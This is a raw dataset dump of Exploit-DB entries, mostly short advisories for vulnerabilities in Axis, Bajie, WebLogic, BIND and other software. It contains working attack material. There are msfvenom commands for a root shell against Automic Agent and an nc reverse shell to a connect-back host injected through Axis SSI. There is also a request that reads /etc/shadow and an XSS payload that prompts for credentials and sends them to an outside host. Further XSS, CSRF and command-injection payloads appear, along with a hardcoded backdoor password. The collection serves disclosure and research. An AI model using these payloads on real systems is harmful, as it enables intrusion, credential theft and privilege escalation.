deardaniel/secdata-raw huggingface dataset:
Exploit-DB #52309
Description: Automic Agent 24.3.0 HF4 - Privilege Escalation
Type: remote
Platform: multiple
Date: 2025-05-29
Author: Flora Schäfer

Exploit:
# Exploit Title: Automic Agent 24.3.0 HF4 - Privilege Escalation
# Date: 26.05.2025
# Exploit Author: Flora Schäfer
# Vendor Homepage: https://www.broadcom.com/products/software/automation/automic-automation
# Version: <24.3.0 HF4, <21.0.13 HF1
# Tested on: Linux
# CVE : CVE-2025-4971

1. Generate shared object file using msfvenom
$ msfvenom -p linux/x64/exec PrependSetuid=True PrependSetguid=True CMD="/bin/sh" -f elf-so > /tmp/sh.so

2. Run the ucxjlx6 executable as follows
$ ./ucxjlx6 ini=<(echo -e "[GLOBAL]\nhelplib = /dev/null\nsystem = blep\n[MISC]\nauthentication = PAM\n[PAM]\nlibName = /tmp/sh.so\n[VARIABLES]\nUC_EX_JOB_MD=blep")
Exploit-DB #22296
Description: Axis Communications HTTP Server 2.x - Messages Information Disclosure
Type: remote
Platform: multiple
Date: 2003-02-28
Author: Martin Eiszner

Exploit:
source: https://www.securityfocus.com/bid/6980/info

It has been reported that the Axis Video Server does not properly secure sensitive information. Because of this, an attacker may be able to gather details about server operation and traffic that could lead to further attacks. 

http://www.example.com/support/messages
Exploit-DB #19784
Description: Axis Communications StorPoint CD - Authentication Bypass
Type: remote
Platform: multiple
Date: 2000-03-01
Author: Infosec Swedish based tigerteam

Exploit:
source: https://www.securityfocus.com/bid/1025/info

Axis StorPoint CD and Axis StorPoint CD/T are CD ROM servers (actual hardware units)sold by Axis Communications. Both of these appliances support remote management 
via SNMP MIB-II and private enterprise MIB as well as from the web via a system-supplied webserver. In regards to the web based administration, users can completely bypass authentication (username and password) by using a specified URL. The actual login page is located at:

http://server/config/html/cnf_gi.htm

However, by using:

http://server/cd/../config/html/cnf_gi.htm

A user side steps the login page and gains administrative access to the appliance.

http://server/cd/../config/html/cnf_gi.htm
Exploit-DB #43984
Description: Axis SSI - Remote Command Execution / Read Files
Type: remote
Platform: multiple
Date: 2017-10-20
Author: bashis

Exploit:
[STX]

Subject: SSI Remote Execute and Read Files
Researcher: bashis <mcw noemail eu> (August 2016)
Release date: October, 2017 (Old stuff that I've forgotten, fixed Q3/2016 by Axis)

Attack Vector: Remote
Authentication: Anonymous (no credentials needed)
Conditions: The cam must be configure to allow anonymous view

Execute remote commands (PoC: Connect back shell):
echo -en "GET /incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%20<CONNECT BACK IP>%20<CONNECT BACK PORT>%200%3C/tmp/s|/bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e HTTP/1.0\n\n" | ncat <TARGET IP> <TARGET PORT>

Notes:
<CONNECT BACK IP> = LHOST IP
<CONNECT BACK PORT> = LHOST PORT
<TARGET IP> = RHOST IP
<TARGET PORT> RHOST PORT


Read remote files (PoC: Read /etc/shadow - check top of the returned output):
echo -en "GET /incl/image_test.shtml?camnbr=%3c%21--%23include%20virtual=%22../../etc/shadow%22%20--%3e HTTP/1.0\n\n" | ncat <TARGET IP> <TARGET PORT>

Notes:
<TARGET IP> = RHOST IP
<TARGET PORT> RHOST PORT

[ETX]
Exploit-DB #51546
Description: Azure Apache Ambari[PII_REDACTED] - Spoofing
Type: remote
Platform: multiple
Date: 2023-06-26
Author: Amirhossein Bahramizadeh

Exploit:
# Exploit Title: Azure Apache Ambari[PII_REDACTED] - Spoofing
# Date: 2023-06-23
# country: Iran
# Exploit Author: Amirhossein Bahramizadeh
# Category : Remote
# Vendor Homepage:
Microsoft
Apache Ambari
Microsoft azure Hdinsights
# Tested on: Windows/Linux
# CVE : CVE-2023-23408

import requests

# Set the URL and headers for the Ambari web interface
url = "https://ambari.example.com/api/v1/clusters/cluster_name/services"
headers = {"X-Requested-By": "ambari", "Authorization": "Basic abcdefghijklmnop"}

# Define a function to validate the headers
def validate_headers(headers):
    if "X-Requested-By" not in headers or headers["X-Requested-By"] != "ambari":
        return False
    if "Authorization" not in headers or headers["Authorization"] != "Basic abcdefghijklmnop":
        return False
    return True

# Define a function to send a request to the Ambari web interface
def send_request(url, headers):
    if not validate_headers(headers):
        print("Invalid headers")
        return
    response = requests.get(url, headers=headers)
    if response.status_code == 200:
        print("Request successful")
    else:
        print("Request failed")

# Call the send_request function with the URL and headers
send_request(url, headers)
Exploit-DB #20639
Description: Bajie 0.78 - Arbitrary Shell Command Execution
Type: remote
Platform: multiple
Date: 2001-02-15
Author: joetesta

Exploit:
source: https://www.securityfocus.com/bid/2389/info

Requesting a specailly crafted URL containg arbitrary code, can be exected on a Unix system running Bajie Webserver. Any arbitrary commands appended to a malicious URL after the ';' will be executed as an independent job. 

http://target/bin/test.txt;%20[shell command]
Exploit-DB #23257
Description: Bajie HTTP Server 0.95 - Example Scripts and Servlets Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2003-10-16
Author: Oliver Karow

Exploit:
source: https://www.securityfocus.com/bid/8841/info

Demonstration scripts and servlets that are distributed as part of Bajie HTTP Server have been reported prone to multiple cross-site scripting vulnerabilities.

It has been reported that a remote attacker may construct a malicious link containing script and HTML code to any one of the vulnerable demonstration scripts or servlets on the affected server. If this link is followed the code contained therein will be rendered in the browser of the user who followed the link.

http://www.example.com/cgi/bin/test.txt?<script>alert(document.cookie)</script>
POST /servlet/custMsg?guestName=<script>alert("bang")</script> HTTP/1.0
POST /servlet/CookieExample?cookiename=<script>alert("bang")</script>&cookievalue=&cookiepath=
HTTP/1.0
Exploit-DB #20638
Description: Bajie WebServer 0.78/0.90 - Remote Command Execution
Type: remote
Platform: multiple
Date: 2001-02-15
Author: joetesta

Exploit:
source: https://www.securityfocus.com/bid/2388/info

It is possible to execute arbitrary commands on a host running Bajie Webserver.

A remote user can use Bajie's built-in upload feature to place malicious scripts on Bajie webservers. These uploaded scripts are placed in known destination directories and can be automatically executed. Unfortunately Bajie's CGI processor doesn't verify the CGI program exists before executing the script.

Once these files are uploaded, they can be then executed as CGI scripts on the server. 

Upload the malicious script via:

http://target/upload.html

Execute it via:

http://target/cgi/bin//...//upload/[file name]
Exploit-DB #20027
Description: BEA Systems WebLogic Express 3.1.8/4/5 - Source Code Disclosure
Type: remote
Platform: multiple
Date: 2000-06-21
Author: Foundstone Inc.

Exploit:
source: https://www.securityfocus.com/bid/1378/info

Within WebLogic Server and WebLogic Express there are four main java servlets registered to serve different kind of files. A default servlet exists if a requested file does not have an assigned servlet.

If an http request is made that includes "/file/", the server calls upon the default servlet which will cause the page to display the source code in the web browser. 

http://target/file/filename
Exploit-DB #20516
Description: BEA Systems WebLogic Server 4.0 x/4.5 x/5.1 x - Double Dot Buffer Overflow
Type: remote
Platform: multiple
Date: 2000-12-19
Author: peter.grundl

Exploit:
source: https://www.securityfocus.com/bid/2138/info


BEA Systems WebLogic Server is an enterprise level web and wireless application server.

Unchecked buffers exist in a particular handler for URL requests that begin with two dots "..". Depending on the data entered into the buffer, WebLogic Server could be forced to crash or arbitrary code could be executed on the system in the security context of the web server. In the event that random data was sent in order to crash the server, restarting the application would be required in order to regain normal functionality. 

..<overly long string of characters>
Exploit-DB #20881
Description: Beck IPC GmbH IPC@CHIP - TelnetD Login Account Brute Force
Type: remote
Platform: multiple
Date: 2001-05-24
Author: Courtesy Sentry Research Labs

Exploit:
source: https://www.securityfocus.com/bid/2771/info


The IPC@Chip is a single-chip embedded webserver from Beck GmbH.

The device's inbuilt telnetd service may allow a remote user to repeatedly attempt to login to a given account, without logging or responding to repeated failed login attempts. This could permit an attacker to brute-force a known account name, potentially leading to a compromise of the device's accounts and/or allowing a compromise of its function. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20881.zip
Exploit-DB #26210
Description: bfcommand & control server 1.22/2.0/2.14 manager - Multiple Vulnerabilities
Type: remote
Platform: multiple
Date: 2005-08-29
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/14690/info

BFCC and BFVCC server managers are vulnerable to multiple remote vulnerabilities.

The first two issues are login bypass vulnerabilities. These issues allow remote, anonymous attackers to gain access to the affected server process.

The third issue is a design error whereby the server application implements access controls, privileges, and other commands in the client-side of the connection. This allows remote attackers to gain full administrative access to the affected application.

The fourth issue is a remote denial of service vulnerability. This issue is due to a failure of the application to properly handle multiple connections.

These vulnerabilities allow remote attackers to gain administrative access in the affected server application, and to deny further access to the application. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/26210.zip
Exploit-DB #6236
Description: BIND 9.5.0-P2 - 'Randomized Ports' Remote DNS Cache Poisoning
Type: remote
Platform: multiple
Date: 2008-08-13
Author: Zbr

Exploit:
Successfully poisoned the latest BIND with fully randomized ports!

Exploit required to send more than 130 thousand of requests for the fake records like [PII_REDACTED]-15081.blah.com to be able to match port and ID and insert poisoned entry 
for the poisoned_dns.blah.com.

# dig @localhost www.blah.com +norecurse

; <<>> DiG 9.5.0-P2 <<>> @localhost www.blah.com +norecurse
; (1 server found)
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6950
;; flags: qr ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; QUESTION SECTION:
;www.blah.com.                  IN      A

;; AUTHORITY SECTION:
www.blah.com.           73557   IN      NS      poisoned_dns.blah.com.

;; ADDITIONAL SECTION:
poisoned_dns.blah.com.  73557   IN      A       1.2.3.4

# named -v
BIND 9.5.0-P2

BIND used fully randomized source port range, i.e. around 64000 ports. 
Two attacking servers, connected to the attacked one via GigE link, were used, 
each one attacked 1-2 ports with full ID range. Usually attacking server is able 
to send about 40-50 thousands fake replies before remote server returns the 
correct one, so if port was matched probability of the successful poisoning is more than 60%.

Attack took about half of the day, i.e. a bit less than 10 hours.
So, if you have a GigE lan, any trojaned machine can poison your DNS during one night... 

original source: http://tservice.net.ru/~s0mbre/blog/2008/08/08/

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6236.tgz (2008-dns-bind.tgz)

# milw0rm.com [2008-08-13]
Exploit-DB #22145
Description: BitMover BitKeeper 3.0 - Daemon Mode Remote Command Execution
Type: remote
Platform: multiple
Date: 2003-01-11
Author: Maurycy Prodeus

Exploit:
source: https://www.securityfocus.com/bid/6588/info

It has been reported that BitKeeper is vulnerable to an input validation bug. When the software is run in daemon mode, it starts a service with an interface that can be connected to via HTTP. By sending specially crafted input to the service, it is possible to execute abitrary commands. 

http://www.example.com:port/diffs/foo.c@%27;echo%20%3Eiwashere%27?nav=index.html|src/|hist/foo.c
Exploit-DB #21752
Description: Blazix 1.2 - Password Protected Directory Information Disclosure
Type: remote
Platform: multiple
Date: 2002-08-25
Author: Auriemma Luigi

Exploit:
source: https://www.securityfocus.com/bid/5567/info

Blazix is a freely available, open source web server written in Java. It is available for Linux and Microsoft Windows operating systems.

Blazix does not properly handle some special characters when appended to requests. By passing a special character with a request to the web server, it is possible for a user to gain access to a listing of a password protected directory. This could result in information disclosure, and could potentially be used to gain intelligence in launching an attack against a system. 

http://www.example.com/bugtest+/
http://www.example.com/bugtest\/
Exploit-DB #21751
Description: Blazix 1.2 - Special Character Handling Server Side Script Information Disclosure
Type: remote
Platform: multiple
Date: 2002-08-24
Author: Auriemma Luigi

Exploit:
source: https://www.securityfocus.com/bid/5566/info

Blazix is a freely available, open source web server written in Java. It is available for Linux and Microsoft Windows operating systems.

When a user passes a request to the web server that ends in either a plus (+) or backslash (\), the web server may react unpredictably. This type of character appended to the name of a .jsp file has been reported to reveal the contents of the .jsp file. 

http://www.example.com/jsptest.jsp+
http://www.example.com/jsptest.jsp\
Exploit-DB #9997
Description: Blender 2.49b - '.blend' Remote Command Execution
Type: remote
Platform: multiple
Date: 2009-11-09
Author: Fernando Russ

Exploit:
An attacker can exploit this issue by enticing an unsuspecting victim to open a specially crafted '.blend' file. 

The following proof of concept demonstrates this issue: 

. Open the "Text Editor" Panel.
. Right click on the canvas and select "New".
. Write your python code there. For instance:

/-----
import os
os.system("calc.exe")
-----/

. In the text name field (TX:Text.001) input a name for your
script, e.g.: TX:myscript.
. Open the "Buttons Window" panel.
. From the "panel" dropdown choose "Script".
. Check that "enable script links" is active.
. Click on "new".
. Select the script you created (e.g. myscript).
. Choose "OnLoad" from the event dropdown list.
. In the "User Preferences" panel, select File-&gt;Save, and save your project.


NOTE: Core Security Technologies has developed a working commercial exploit for its CORE IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.
Exploit-DB #30729
Description: Blue Coat ProxySG Management Console - URI Handler Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: multiple
Date: 2007-10-29
Author: Adrian Pastor

Exploit:
source: https://www.securityfocus.com/bid/26286/info

Blue Coat ProxySG Management Console is prone to two cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Versions prior to ProxySG 4.2.6.1 and 5.2.2.5 are vulnerable.

NOTE: This BID originally covered one issue, but was updated to also cover a second issue. 

https://www.example.com:8082/Secure/Local/console/install_upload_action/crl_format?name="<script>alert("XSS")</script>%00 https://www.example.com:8082/Secure/Local/console/install_upload_from_file.htm?file=<script>alert("XSS")</script><!-- Example Payload: <script> do { a=prompt("Blue Coat SG400: an error has occurred\nPlease enter your USERNAME",""); b=prompt("Blue Coat SG400: an error has occurred\nPlease enter your PASSWORD",""); }while(a==null || b==null || a=="" || b==""); alert("owned!:"+a+"/"+b);window.location="http://www.example2.com/?u="+a+"&p="+b </script><!--
Exploit-DB #33504
Description: BOA Web Server 0.94.x - Terminal Escape Sequence in Logs Command Injection
Type: remote
Platform: multiple
Date: 2010-01-11
Author: evilaliv3

Exploit:
source: https://www.securityfocus.com/bid/37718/info

Boa Webserver is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in logfiles.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

Boa Webserver 0.94.14rc21 is vulnerable; other versions may also be affected.

curl -kis http://www.example.com/%1b%5d%32%3b%6f%77%6e%65%64%07%0a
Exploit-DB #24982
Description: Bolthole Filter 2.6.1 - Address Parsing Buffer Overflow
Type: remote
Platform: multiple
Date: 2004-12-15
Author: Ariel Berkman

Exploit:
source: https://www.securityfocus.com/bid/11977/info

Bolthole Filter is prone to a buffer overflow vulnerability. This issue is exposed when the software parses email address data.

If successfully exploited, this vulnerability could result in execution of arbitrary code in the context of the process. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24982.zip
Exploit-DB #25132
Description: Bontago Game Server 1.1 - Remote Nickname Buffer Overrun
Type: remote
Platform: multiple
Date: 2005-02-21
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/12603/info

The Bontago game server is reported to be affected by a remote buffer overrun vulnerability. The issue is reported to exist due to a lack of sufficient boundary checks performed on client-supplied 'nickname' values.

It is conjectured that a remote attacker may exploit this vulnerability to influence execution flow of a target game server and have arbitrary supplied instructions executed in the context of the affected process.

This vulnerability is reported to exist in Bontago versions up to an including version 1.1. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25132.zip
Exploit-DB #20537
Description: Borland/Inprise Interbase 4.0/5.0/6.0 - Backdoor Password
Type: remote
Platform: multiple
Date: 2001-01-10
Author: Frank Schlottmann-Goedde

Exploit:
source: https://www.securityfocus.com/bid/2192/info

Interbase is an open source relational database offered by Borland Inprise Corporation.

Interbase contains a backdoor user account and password called "LOCKSMITH". When accessed this account will eliminate all implemented security allowing full control of any database and contents within the database, this level of access will allow any function to be performed including modification of objects, root access and execution of arbitrary functions. "LOCKSMITH" is hard coded in the database engine and is located in the jrd/pwd.h header.

Successful exploitation of this vulnerability will lead to complete compromise of the host. 

#define LOCKSMITH_USER "politically"

#define LOCKSMITH_PASSWORD "correct"
Exploit-DB #34048
Description: Brekeke PBX 2.4.4.8 - 'pbx/gate' Cross-Site Request Forgery
Type: remote
Platform: multiple
Date: 2010-05-26
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/40407/info

Brekeke PBX is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain administrative actions and gain unauthorized access to the affected application. Other attacks are also possible.

Brekeke PBX 2.4.4.8 is vulnerable; other versions may be affected. 

<html> <body> <img src="http://www.example.com:28080/pbx/gate?bean=pbxadmin.web.PbxUserEdit&user=sa&disabled=false&name=&language=en&password=new_password&password2=new_password&phoneforward=&ringertime=60&noanswerforward=vmsa&noanswerforward.voicemail=on&busyforward=vmsa&busyforward.voicemail=on&dtmfcommand=true&defaultpickup=&index=1&greetingtype=3&recordlength=&messageforward=&email=&emailnotification=true&emailattachment=true&admin=true&userplugin=user&personalivr=&rtprelay=default&payload=&useremotepayload=default&recording=false&canjoin=true&allowjoin=true&aotomonitor=&maxsessioncount=-1&resourcemap=&operation=store" /> </body> </html>
Exploit-DB #21197
Description: BSCW 3.4/4.0 - Insecure Default Installation
Type: remote
Platform: multiple
Date: 2002-01-03
Author: Thomas Seliger

Exploit:
source: https://www.securityfocus.com/bid/3777/info

BSCW (Basic Support for Cooperative Work) is a web-based groupware application, allowing users to share a workspace via a web interface. It runs on Microsoft Windows NT/2000 systems, as well as a number of Unix variants.

The default installation allows users to self-register, potentially allowing untrusted users to access the service.

This may provide a window of opportunity for an untrusted, malicious user to access the service to exploit known issues. One example of an existing issue that may be exploited as a result of untrusted users being able to self-register is BugTraq ID 3776 "BSCW Remote Command Execution Vulnerability". 

http://your.bscwserver.url/pub/english.cgi?op=rmail
Exploit-DB #30218
Description: BugHunter HTTP Server 1.6.2 - Parse Error Information Disclosure
Type: remote
Platform: multiple
Date: 2007-06-20
Author: Prili

Exploit:
source: https://www.securityfocus.com/bid/24566/info

BugHunter HTTP Server is prone to an information-disclosure vulnerability.

An attacker can exploit this issue to gain access to sensitive information. Information obtained may lead to further attacks.

This issue affects HTTP Server 1.6.2; other versions may also be affected. 

http://www.example.com/test.htm%20
Exploit-DB #25710
Description: C'Nedra 0.4 Network Plugin - 'Read_TCP_String' Remote Buffer Overflow
Type: remote
Platform: multiple
Date: 2005-05-26
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/13781/info

C'Nedra Network Plug-in is prone to a remotely exploitable buffer overflow vulnerability. The issue exists in the 'game_message_functions.cpp' source file and is due to inadequate bounds checking of user-supplied data.

This vulnerability could be exploited to execute arbitrary code in the context of the affected software. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25710.zip
Exploit-DB #25190
Description: ca3de - Multiple Vulnerabilities
Type: remote
Platform: multiple
Date: 2005-03-03
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/12727/info

Ca3DE is reported prone to multiple remote vulnerabilities. An attacker can exploit these issues to carry out format string and denial of service attacks.

The following specific issues were identified:

It is reported that all commands accepted by the server are affected by format string vulnerabilities.

A successful attack may result in crashing the application or lead to arbitrary code execution. This may facilitate unauthorized access or privilege escalation in the context of the application.

The application is also affected by a remote denial of service vulnerability.

Ca3DE versions released before March 2004 are affected by these issues. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25190.zip